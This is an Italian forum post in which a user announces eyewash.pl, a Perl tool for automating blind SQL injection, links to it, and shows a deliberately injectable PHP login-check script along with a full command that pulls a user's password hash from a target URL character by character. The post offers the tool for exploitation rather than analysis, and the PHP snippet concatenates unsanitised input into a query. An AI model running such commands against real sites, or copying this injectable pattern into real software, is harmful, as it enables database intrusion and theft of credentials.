eyewash.pl - Script per l'automatizzazione di blind SQL injection

Stato
Discussione chiusa ad ulteriori risposte.

imported_BlackLight

Utente Silver
16 Agosto 2007
211
8
1
98
Oggi avevo poco da fare e allora ho sviluppato questo piccolo script in Perl per automatizzare l'exploiting di applicazioni web vulnerabili a SQL injection, ma in cui i risultati delle query non vengono mostrati direttamente (blind SQL injection). Per sfruttare la vulnerabilità lo script si basa sulle risposte del server (del tipo 'voce non trovata' o 'errore del database'), ricostruendo il campo desiderato carattere per carattere.

Eccovi la creatura:
http://sprunge.us/HXUS

L'help completo è visibile richiamando lo script con l'opzione -h o senza nessuna opzione.

Esempio d'uso: supponiamo di avere il seguente script PHP vulnerabile su un server che controlla la presenza di un certo utente all'interno del database:

Codice:
<?php

$uid = $_REQUEST['user_id'];

$db = @mysql_connect ('host', 'user', 'pass');
@mysql_select_db ('db', $db);
$query = 'select * from users where user_id='.$uid;
$res = @mysql_query($query);
$found = false;

if ($row = @mysql_fetch_array($res, MYSQL_ASSOC))
        print 'the user exists';
else
        print 'the user does not exist';

@mysql_free_result($res);
mysql_close($db);

?>

Tale webapp è exploitabile da eyewash.pl, ad esempio, con il seguente comando (per ottenere in questo caso l'hash, memorizzato come MD5 o SHA1 esadecimale, dell'utente avente user_id uguale a 1):

Codice:
eyewash.pl -a '[0-9a-f]' -i -m get -q 'logged=1&user_id=1%s' -s 'select user_password from users where user_id=1' -e 'does not exist' -l 'http://vulnerable.com/info.php'

p.s. Lo script funziona, credo, solo per MySQL, o al massimo qualsiasi DBMS che implementi le funzioni ascii() e substr().
 
Stato
Discussione chiusa ad ulteriori risposte.